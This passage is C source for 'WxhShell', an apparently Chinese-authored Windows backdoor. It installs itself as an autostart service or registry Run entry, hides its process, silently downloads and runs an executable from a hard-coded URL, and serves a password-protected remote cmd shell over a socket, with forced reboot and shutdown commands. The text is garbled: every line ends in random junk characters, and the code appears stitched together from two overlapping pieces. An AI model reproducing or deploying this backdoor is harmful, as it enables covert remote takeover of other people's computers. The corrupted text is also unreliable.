    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r>@ B+Xi  
    if(Boot(SHUTDOWN)) Lt;.Nw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 [5lX C  
    else { u,Q_WR-wJ  
    closesocket(wsh); ^B<PD]  
    ExitThread(0); =#.8$oa^  
    } |i} +t  
    break; I*+LJy;j  
    } V(lK`dY  
  // 获取shell rSF;Lp)}  
  case 's': { w| -0@  
    CmdShell(wsh); LM"W)S  
    closesocket(wsh); oN&rq6eN  
    ExitThread(0); -+ ]T77r  
    break; _q$0lqq~u  
  } xP{HjONu  
  // 退出 i_[ HcgT-  
  case 'x': { 3P+4S|@q(4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A=v lC?&Z  
    CloseIt(wsh); .\ ;l-U  
    break; 8CP9DS  
    } -A~;MGY  
  // 离开 Zzw}sZ?8  
  case 'q': { O:`GL1{ve?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 36kc4=  
    closesocket(wsh); LT,iS)dY+  
    WSACleanup(); 27Kc -rcB  
    exit(1); vCy.CN$  
    break; dl*_ m3T  
        } Hl^aUp.c  
  } i$`|Y*  
  } ?VMi!-POE  
_SMT.lG  
  // 提示信息 Ht`<XbQ>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]Wy^VcqX  
} $?]@_=  
  } [<en1  
,GdxUld  
  return; vO}qjw  
} ~=`f]IL  
~&wXXVK3  
// shell模块句柄 ) >>u|#@z  
int CmdShell(SOCKET sock) [5]R?bQ0q{  
{ ;eS;AHZ  
STARTUPINFO si; 2k.S[?)  
ZeroMemory(&si,sizeof(si)); rtB|N-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !pd7@FwC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gZw\*9Q9  
PROCESS_INFORMATION ProcessInfo; uuI3NAi~  
char cmdline[]="cmd"; U -Af7qO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Tjd&^m  
  return 0; *)j@G:  
} <ldid]o #  
W@:^aH  
// 自身启动模式 :@:g*w2K  
int StartFromService(void) |RHO+J  
{ #D!$~ h&i  
typedef struct 3mpP| b"  
{ C$KaT3I  
  DWORD ExitStatus; 3M}AxE u  
  DWORD PebBaseAddress; !d:tIu{)  
  DWORD AffinityMask; 'b LP ~  
  DWORD BasePriority; )vO_sIbnW  
  ULONG UniqueProcessId; P/FrE~  
  ULONG InheritedFromUniqueProcessId; -(6eVI  
}   PROCESS_BASIC_INFORMATION; 1t0b Uf;(M  
"F&Tnhh4  
PROCNTQSIP NtQueryInformationProcess; =L:[cIRrT;  
kFS0i%Sr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I 'x$,s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8&?^XcJ*x  
a^@+%?X  
  HANDLE             hProcess; k%"$$uo  
  PROCESS_BASIC_INFORMATION pbi; G!AICcP^  
iYkRo>3!QX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R|/Wz/$1A  
  if(NULL == hInst ) return 0; '*8  
2}D,df'W4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +nU',E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5fU!'ajaN7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `2pO5B50  
#N; $  
  if (!NtQueryInformationProcess) return 0; l#b:^3  
|__d 8a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ymHKcQ  
  if(!hProcess) return 0; %wOOzp`  
7TP$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @=CLeQG`  
baqn7k"  
  CloseHandle(hProcess); mG X\wta  
3)dP7rmZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wyp{KIV  
if(hProcess==NULL) return 0; Xe)Pg)J1  
C2NzP& FD  
HMODULE hMod; OE6#YT  
char procName[255]; k9cK b f@  
unsigned long cbNeeded; O)l%OOv   
S 9WawI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e!6eZ)l  
6ezcS}:+  
  CloseHandle(hProcess); #sL/y  
/\~l1.6`  
if(strstr(procName,"services")) return 1; // 以服务启动 ^<!Ia  
!!9{U%s  
  return 0; // 注册表启动 +5#x6[  
} [;<<4k(nL  
6F,/w:  
// 主模块 O(odNQy~  
int StartWxhshell(LPSTR lpCmdLine) r9<V%PH v  
{ {JTmP`&l  
  SOCKET wsl; D$ej+s7  
BOOL val=TRUE; |%-YuD  
  int port=0; 0Qt~K#mr/  
  struct sockaddr_in door; Ur n  
L+7*NaPY*  
  if(wscfg.ws_autoins) Install(); bZu$0IG  
iEe#aO"D!  
port=atoi(lpCmdLine); A^8x1ydZ  
|"_)zQ  
if(port<=0) port=wscfg.ws_port; !1("(Eb  
YKNb59k  
  WSADATA data; %Or2iuO%-,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2g0K76=Co:  
NfOp=X?Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (N7O+3+G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uC)Zs, _5  
  door.sin_family = AF_INET; ?H<~ac2e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h+5 @I%WX  
  door.sin_port = htons(port); =88t*dH(,"  
.izf#r:<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h>| g2h  
closesocket(wsl); 9?$RO[vo  
return 1; jK e.gA  
} *N`;I@Q"[  
72u db^  
  if(listen(wsl,2) == INVALID_SOCKET) { bK?MT]%}r  
closesocket(wsl); x vdY 8%S  
return 1; q1jN]H  
} 1!d)PK>1$  
  Wxhshell(wsl); z$66\/V']  
  WSACleanup(); tGC2 ^a#~  
Z~_8P  
return 0; }DbE4"^K7  
*<UGgnmLE  
} e+l\\9v  
,&[7u9@  
// 以NT服务方式启动 $M39 #a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JA< :K0  
{ UDM yyVd  
DWORD   status = 0; A*Rn<{U  
  DWORD   specificError = 0xfffffff; <&6u]uKrW  
`On3/gU|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9{$8\E9*nd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z,avQR&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qfa}3k8et  
  serviceStatus.dwWin32ExitCode     = 0; =!<^^6LZ  
  serviceStatus.dwServiceSpecificExitCode = 0; ld95[cTP  
  serviceStatus.dwCheckPoint       = 0; Hsgy'X%om  
  serviceStatus.dwWaitHint       = 0; aLYLd/ KV  
e62y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o)p[ C   
  if (hServiceStatusHandle==0) return; 0 7\02f  
Co[n--@C  
status = GetLastError(); "9ue76  
  if (status!=NO_ERROR) VVFV8T4  
{ c_Tzyh7l4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8""mp]o9  
    serviceStatus.dwCheckPoint       = 0; $o"g73`3  
    serviceStatus.dwWaitHint       = 0; ol<lCp  
    serviceStatus.dwWin32ExitCode     = status; nP OO3!<{  
    serviceStatus.dwServiceSpecificExitCode = specificError; v&r=-}z2!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); St2Q7K5s{  
    return; M%|f+u&  
  } rd" &QB{  
d/lffNS=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @/ k x er  
  serviceStatus.dwCheckPoint       = 0; [IMQIX  
  serviceStatus.dwWaitHint       = 0; H]]c9`ayt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G5;V.#"Z[  
} xDUaHE1co  
[%?y( q  
// 处理NT服务事件,比如:启动、停止 y?Onb 3%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F"[3c6yF  
{ [@|be.g  
switch(fdwControl) EHhd;,;O  
{ k}U JVH21k  
case SERVICE_CONTROL_STOP: 2( _=SfQ  
  serviceStatus.dwWin32ExitCode = 0; SM<d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;cLUnsB\  
  serviceStatus.dwCheckPoint   = 0; )2V@p~k?  
  serviceStatus.dwWaitHint     = 0; cix36MR_  
  { R8 jovr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PQ3h\CL1n  
  } auL^%M|$R  
  return; @)b^^Fp  
case SERVICE_CONTROL_PAUSE: 'evv,Q{87  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Uouq>N  
  break; sOz sY7z3Z  
case SERVICE_CONTROL_CONTINUE: T>F9Hs  W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @[v8}D  
  break; az2X ch]  
case SERVICE_CONTROL_INTERROGATE: [O 1|75  
  break; anC+r(jjg9  
}; `pm>'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O,irpQ  
} nh0&'hA  
1.0J2nZpt  
// 标准应用程序主函数 eM }W6vIn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z 6cYC,  
{ !Rqx2Q  
^Plc}W7h  
// 获取操作系统版本 ._,trb>o  
OsIsNt=GetOsVer(); SH=:p^J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d.cCbr:  
M5O'=\+,F  
  // 从命令行安装 y\z > /q  
  if(strpbrk(lpCmdLine,"iI")) Install(); O^NP0E  
8Zw]f-5x\  
  // 下载执行文件 >UWStzH<  
if(wscfg.ws_downexe) { j)";:v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ! Rvn'|!  
  WinExec(wscfg.ws_filenam,SW_HIDE); choL %g}  
} t:T?7-XIE  
o(Kcs-W2  
if(!OsIsNt) { 4By]vd<;=  
// 如果时win9x,隐藏进程并且设置为注册表启动 GX5W^//}  
HideProc(); >BJ}U_ck  
StartWxhshell(lpCmdLine); tW(+xu36  
} m^A]+G#/  
else 85hQk+Bu4  
  if(StartFromService()) U`1l8'W}:#  
  // 以服务方式启动 " 5|\X<f  
  StartServiceCtrlDispatcher(DispatchTable); ohsH2]C  
else Pi){h~B>  
  // 普通方式启动 d$[8w/5Of  
  StartWxhshell(lpCmdLine); _+n;A46  
WgPgG0VJE  
return 0; pYh!]0n  
} ^#w{/C/n  
[-58Ezyr  
_[JkJwPTx  
LzE/g)>  
=========================================== i@6wO?Tv  
#TATqzA  
R,b59,&3/  
!qw4mN  
0[9I0YBJ  
2&x7W*  
" LU( %K{9  
^jOCenE 3  
#include <stdio.h> PY -+Bf  
#include <string.h> gVA; `<  
#include <windows.h> xE1rxPuq)d  
#include <winsock2.h> *]2R.u  
#include <winsvc.h> ^W}MM8 '  
#include <urlmon.h> 1 7i$8  
~<eVl l=  
#pragma comment (lib, "Ws2_32.lib") Xl?YB Z}  
#pragma comment (lib, "urlmon.lib") ?[|hGR2L  
"uhV|Lk*7  
#define MAX_USER   100 // 最大客户端连接数 avBua6i'  
#define BUF_SOCK   200 // sock buffer @?d?e+B  
#define KEY_BUFF   255 // 输入 buffer 5& *zY)UL  
Y'JL(~|  
#define REBOOT     0   // 重启 ~v\hIm3=m  
#define SHUTDOWN   1   // 关机 3&9zGy{V+  
3G.r-  
#define DEF_PORT   5000 // 监听端口 ^Xa*lR 3  
1ys(v   
#define REG_LEN     16   // 注册表键长度 '%ebcL  
#define SVC_LEN     80   // NT服务名长度 Wxs>osq  
ctK65h{Eo  
// 从dll定义API fCr\u6Tb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZYDW v/u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &N9IcNP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %Zu Ll(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 117c,yM0  
z{' 6f@]  
// wxhshell配置信息 F"v:}Vy|   
struct WSCFG { #!L%J<MX  
  int ws_port;         // 监听端口 [G=:?J,P  
  char ws_passstr[REG_LEN]; // 口令 {=6)SBjf  
  int ws_autoins;       // 安装标记, 1=yes 0=no >fg4x+0%  
  char ws_regname[REG_LEN]; // 注册表键名 Wz5=(<{S  
  char ws_svcname[REG_LEN]; // 服务名 ,S0UY):(A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wB 2}uk7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7O9n!aJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "4RQ`.S R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H@4/#V|Uy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D!/0c]"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E9L!)D]Y  
EU9[F b]  
}; |e+aZ%g  
VAg68 EbnF  
// default Wxhshell configuration . wmkj  
struct WSCFG wscfg={DEF_PORT, V $>"f(  
    "xuhuanlingzhe", %!yxC  
    1, )\"I*Jwir  
    "Wxhshell", h&P {p _Y  
    "Wxhshell", {Y^c*Iqn  
            "WxhShell Service", XR<G} x  
    "Wrsky Windows CmdShell Service", E^82==R  
    "Please Input Your Password: ", BJ2Q2W W  
  1, _)q4I(s*  
  "http://www.wrsky.com/wxhshell.exe", 8lpzSJP4k  
  "Wxhshell.exe" 5)8 .  
    }; @f%wd2  
SKW;MVC  
// 消息定义模块 _\!0t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  -?Ejbko  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d _uF Y:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <0>[c<{V<  
char *msg_ws_ext="\n\rExit."; n{3| E3  
char *msg_ws_end="\n\rQuit."; {RH*8?7  
char *msg_ws_boot="\n\rReboot..."; O[L\T  
char *msg_ws_poff="\n\rShutdown..."; (]}XLMi,|!  
char *msg_ws_down="\n\rSave to "; pb6 Q?QG,  
?N(u4atC  
char *msg_ws_err="\n\rErr!"; Y6+k9$h  
char *msg_ws_ok="\n\rOK!"; bYK]G+Ww  
\k4M{h6  
char ExeFile[MAX_PATH]; 6z PV'~q  
int nUser = 0; %Dl_}  
HANDLE handles[MAX_USER]; 9X.gg$P  
int OsIsNt; 5qeT4| Ol  
b6]e4DL:R  
SERVICE_STATUS       serviceStatus; V54q"kP,@.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H8( C>w-'  
roL}lM$  
// 函数声明 6OMb`A@/2  
int Install(void); q;KshpfRMD  
int Uninstall(void); ^971<B(v  
int DownloadFile(char *sURL, SOCKET wsh); =[APMig,n  
int Boot(int flag); yB|]LYh  
void HideProc(void); "i}Z(_7yr  
int GetOsVer(void); ~T;K-9R  
int Wxhshell(SOCKET wsl); jt/l,=9YK  
void TalkWithClient(void *cs); 9DmSs=A  
int CmdShell(SOCKET sock); .HQVj'g  
int StartFromService(void); Z"4VH rA  
int StartWxhshell(LPSTR lpCmdLine); Vvx a.B  
8xc8L1;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DS.39NY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fp,1qzU[k  
dE+CIjW5  
// 数据结构和表定义 }k4`  
SERVICE_TABLE_ENTRY DispatchTable[] = |dW2dQ  
{ u=1B^V,6V  
{wscfg.ws_svcname, NTServiceMain}, Z#srQD3].(  
{NULL, NULL} =ZFcxGo  
}; *;>V2!N=U  
-WQ_[t9l  
// 自我安装 ;b{pzIe=F  
int Install(void) ,<`|-oa  
{ .ruqRGe/  
  char svExeFile[MAX_PATH]; F+lm[4n  
  HKEY key; S(@*3]!q  
  strcpy(svExeFile,ExeFile); A/ox#(!v  
tn(f rccy  
// 如果是win9x系统,修改注册表设为自启动 (YaOh^T:|  
if(!OsIsNt) { #nxER   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WHZe)|n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !&1}w86  
  RegCloseKey(key); ~)WfJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3s88#_eT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g}\U, (  
  RegCloseKey(key); =1V>Vd?8.  
  return 0; D? ^`(X P  
    } GGFar\ EzW  
  } O('i*o4!}  
} Dx p>  
else { +&&MUT{ 3  
?,A}E|jZ  
// 如果是NT以上系统,安装为系统服务 z226yNlS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l5":[C$  
if (schSCManager!=0) zsR  wF  
{ c ,g]0S?gu  
  SC_HANDLE schService = CreateService +ZD[[+  
  ( F^/~@^{P  
  schSCManager, EF*oPn0|  
  wscfg.ws_svcname, x= vE&9_u  
  wscfg.ws_svcdisp, "jkw8UVz  
  SERVICE_ALL_ACCESS, ' 91u q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nr<}Hc^f-  
  SERVICE_AUTO_START, XL"v21X  
  SERVICE_ERROR_NORMAL, b#/V;  
  svExeFile, %l9WZ*yZ`2  
  NULL, rFt,36#  
  NULL, %WJ\'@O\  
  NULL, )-TeDIfm  
  NULL, cNuuzA  
  NULL mcP{-oJ0W  
  ); Gdc ~Lh  
  if (schService!=0) |}]JWsuB  
  { _{Fdw  
  CloseServiceHandle(schService); &y+PSa%n  
  CloseServiceHandle(schSCManager); ~L4*b *W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &K}(A{  
  strcat(svExeFile,wscfg.ws_svcname); 0k] ju  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZmR[5 mv@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3^iQe"P%a@  
  RegCloseKey(key); 2yCd:wg  
  return 0; "p6:ekw  
    } /v|68x6  
  } 8KGv?^M 6W  
  CloseServiceHandle(schSCManager); Ztpm_P6  
} &EbD.>Ci  
} yv#c =v|  
#:Sy`G6!?  
return 1; C&d"#I  
} NdXy% Q  
xTksF?u)  
// 自我卸载 X'3`Q S:!  
int Uninstall(void) zDGg\cPj9  
{ U d=gdsL  
  HKEY key; 8n."5,P  
)T$f k  
if(!OsIsNt) { x" :Bw;~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kgbr+Yw2X  
  RegDeleteValue(key,wscfg.ws_regname); I W] 841  
  RegCloseKey(key); '@}?NV0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -XDP-Trk  
  RegDeleteValue(key,wscfg.ws_regname); Ivl^,{4  
  RegCloseKey(key); O( 5L2G  
  return 0; l]58P  
  } 2'UFHiK  
} }T1Xds8w)t  
} #&`WMLl+8  
else { V~uA(3\U  
;P0Y6v3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pg& ]F  
if (schSCManager!=0) uI:3$  
{ #3:'lGBIK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pTV@nP  
  if (schService!=0) yM#trqv5  
  { :]z-Rz  
  if(DeleteService(schService)!=0) { />2$ XwP  
  CloseServiceHandle(schService); m 'H  
  CloseServiceHandle(schSCManager); PuoJw~^h  
  return 0; X#NeB>~  
  } (+Nmio  
  CloseServiceHandle(schService); 3TvhOC>yG  
  } 'N5r2JL[w  
  CloseServiceHandle(schSCManager); <+1w'-  
} U%PMV?L{  
} *,*:6^t  
t-|=weNy  
return 1; *y\tnsU  
} bHH}x"d[x  
$O</akn;  
// 从指定url下载文件 JU2' ~chh  
int DownloadFile(char *sURL, SOCKET wsh) uY%3X/^j  
{ ^~1@HcJo  
  HRESULT hr; rJ~(Xu>,s  
char seps[]= "/"; 90(oV&  
char *token; }m lbN0v  
char *file; u'n%BVt   
char myURL[MAX_PATH]; P9cI{RI  
char myFILE[MAX_PATH]; Ex&RR< 5  
x)sDf!d4bi  
strcpy(myURL,sURL); Yiw^@T\H`  
  token=strtok(myURL,seps); Mn{Rg>X  
  while(token!=NULL) 1Y0oo jD  
  { _ ~$0cj<  
    file=token; NU\t3JaR  
  token=strtok(NULL,seps); vlKKPS  
  } M@z/ gy^  
<YNPhu~5  
GetCurrentDirectory(MAX_PATH,myFILE); l|QFNW[i  
strcat(myFILE, "\\"); "'dC>7*<  
strcat(myFILE, file); 0`Qs=R`OM  
  send(wsh,myFILE,strlen(myFILE),0); ~,4Znuin  
send(wsh,"...",3,0); tZ2iSc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .4)P=*  
  if(hr==S_OK) WW/m /+  
return 0; }pZnWK+  
else tKViM@T  
return 1; _)H+..=  
zi 14]FWo  
} c oz}VMp  
(NV=YX?s  
// 系统电源模块 n>+W]I&E  
int Boot(int flag) {8Nd-WJ{  
{ <iqyDPj  
  HANDLE hToken; Jg6[/7*m  
  TOKEN_PRIVILEGES tkp; Z- Ae'ym  
AiI# "  
  if(OsIsNt) { r?>Hg+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'bO? =+c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7lOiFw  
    tkp.PrivilegeCount = 1; j[eEyCW[)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^0~1/ PhOw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?uBC{KQ}Y  
if(flag==REBOOT) { 74OM tLL$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wZb@VG}%  
  return 0; 6%y: hLT  
} ^%@.Vvz<  
else { e-meUf9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )ciHY6  
  return 0; >k-poBw  
} !XC7F UO  
  } MUl+Oy>  
  else { |B.d7@{mM  
if(flag==REBOOT) { &zy9}4w,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5ZxBmQ  
  return 0; #XPU$=  
} [uHI 6Q#  
else { U#4W"1~iX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U.x.gZRo[  
  return 0; W=w@SO_?wp  
} 9hzU@m  
} |7fBiVo  
Br??Gdd  
return 1; \H(,'w7H  
} 0w]?yqnE  
s1q d/  
// win9x进程隐藏模块 NQD b;5:  
void HideProc(void) Q+dI,5YF  
{ $!@f{9+  
`,"Jc<R7Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hn .fX:}  
  if ( hKernel != NULL ) h]$zub  
  { ^" -2fJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2S/7f:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8uiQm;W  
    FreeLibrary(hKernel); z{x -Vfd  
  } |<$O5b'  
Hua8/:![+  
return; %Et]w  
} #>'0C6Xn  
bE"CSK#  
// 获取操作系统版本 v/dcb%  
int GetOsVer(void) [u:_J qf-  
{ d8po`J#nb  
  OSVERSIONINFO winfo; ?9"glzxr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #'P&L>6 ;  
  GetVersionEx(&winfo); 3t'K@W?AJh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 40XI\yE_?  
  return 1; N 1rrKyL!$  
  else V96BtV sB  
  return 0; J/Li{xp)Lg  
} ly2R8$Y`y`  
Q@R8qc=*  
// 客户端句柄模块 C{-pVuhK+  
int Wxhshell(SOCKET wsl) $fKWB5p|()  
{ q$P"o].EK  
  SOCKET wsh; !O*n6}nPE  
  struct sockaddr_in client; M-_)CR  
  DWORD myID; \JchcQ  
_"=~aMXC.)  
  while(nUser<MAX_USER) 9w1)Mf}  
{ bmLNR  
  int nSize=sizeof(client); l:+1j{ d7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xS'So7:h  
  if(wsh==INVALID_SOCKET) return 1; iVRz  
FB""^IC?W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _" n4SXhq  
if(handles[nUser]==0) :L,]<n  
  closesocket(wsh); $HRpG  
else i~4Kek6,I  
  nUser++; YA jk'  
  } 7">.{ @S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lU?"\m  
XB?!V|bno  
  return 0; !**q20-aP  
} ^VQiq7 xm  
rqIt}(J  
// 关闭 socket Z(s} #-  
void CloseIt(SOCKET wsh) a[/p(O  
{ ?~$y3<[  
closesocket(wsh); G} p~VLf  
nUser--; |Z<adOg  
ExitThread(0); <NUZPX29  
} S9.jc@#.`  
#Xc~3rg9  
// 客户端请求句柄 S"dQ@r9  
void TalkWithClient(void *cs) \l`;]cA  
{ q+ .=f.+Z  
\%K6T)9  
  SOCKET wsh=(SOCKET)cs; (HEjmQjE  
  char pwd[SVC_LEN]; wZ\0<skU  
  char cmd[KEY_BUFF]; TS-[p d  
char chr[1]; #(7OvW+y  
int i,j; "/q6E  
54k Dez  
  while (nUser < MAX_USER) { XjV7Ew^7  
NIgt"o[I  
if(wscfg.ws_passstr) { N7NK1<vw2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vt1!|2{ h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $h2h&6mH  
  //ZeroMemory(pwd,KEY_BUFF); V3UEuA  
      i=0; b_B4  
  while(i<SVC_LEN) { }5A?WH_  
G#csN&|,  
  // 设置超时 >yaRz+  
  fd_set FdRead; se?nx7~  
  struct timeval TimeOut; A;% fAI2Vr  
  FD_ZERO(&FdRead); ,Rf<6/A  
  FD_SET(wsh,&FdRead); 0_ ;-QAd  
  TimeOut.tv_sec=8; 6(eyUgnb  
  TimeOut.tv_usec=0; #e=[W))  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uG/Zpi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a^,Xm(Wb}  
n|8fdiK#}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Baq&>]  
  pwd=chr[0]; 1vX97n<}  
  if(chr[0]==0xd || chr[0]==0xa) { 1v`*%95  
  pwd=0; Hi )n]OE  
  break; &Y\`FY\   
  } z+;+c$X  
  i++; l{kum2DT  
    } h/5.>[VwDh  
[V =O$X_  
  // 如果是非法用户,关闭 socket <&B)i\j8=b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :Oxrw5`=  
} ^`ny]3JA  
\:8 >@Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :GK]"sNC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wgY: W:y'N  
jruwdm^  
while(1) { Y'0H2B8  
%A%^;3@  
  ZeroMemory(cmd,KEY_BUFF); Ubv<3syR'  
Db@$'  
      // 自动支持客户端 telnet标准   'V/+v#V+>  
  j=0; n' &:c}zKO  
  while(j<KEY_BUFF) { ] %pr1Ey  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wMr*D['" #  
  cmd[j]=chr[0]; (/JiOg^cw  
  if(chr[0]==0xa || chr[0]==0xd) { ogtl UCUD  
  cmd[j]=0; @!`x^Tzz  
  break; 5NH NnDhuL  
  } WTbq)D(&[_  
  j++; ?`8jn$W^  
    } $cflF@ 3  
,#m:U5#h  
  // 下载文件 $9bLD >.  
  if(strstr(cmd,"http://")) { G*^4+^Vz?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WS6'R    
  if(DownloadFile(cmd,wsh)) 54r/s#|-3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4SlEc|'7@  
  else vq/3a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mQUI9  
  } Qh3BI?GZ'3  
  else { F=EG#<@u  
